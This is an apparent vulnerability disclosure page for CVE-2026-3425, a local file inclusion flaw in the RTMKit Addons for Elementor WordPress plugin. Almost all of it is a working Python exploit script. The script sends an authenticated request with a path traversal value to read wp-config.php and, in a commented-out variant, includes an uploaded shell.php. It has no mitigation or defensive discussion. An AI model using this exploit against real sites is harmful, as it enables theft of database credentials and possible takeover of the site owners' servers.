CVE-2026-3425 RTMKit插件本地文件包含漏洞

import requests # CVE-2026-3425 Proof of Concept # Target: RTMKit Addons for Elementor <= 2.0.2 # Privileges: Author or higher required target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with a valid authenticated cookie of a user with Author role or higher cookies = { "wordpress_logged_in_12345": "your_cookie_value_here" } # The 'path' parameter is vulnerable to LFI # Example 1: Reading a sensitive configuration file data = { "action": "get_content", "path": "../../../../wp-config.php" } # Example 2: Including an uploaded malicious file (if file upload is possible) # data = { # "action": "get_content", # "path": "../../../../wp-content/uploads/2026/05/shell.php" # } try: response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Request successful. Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")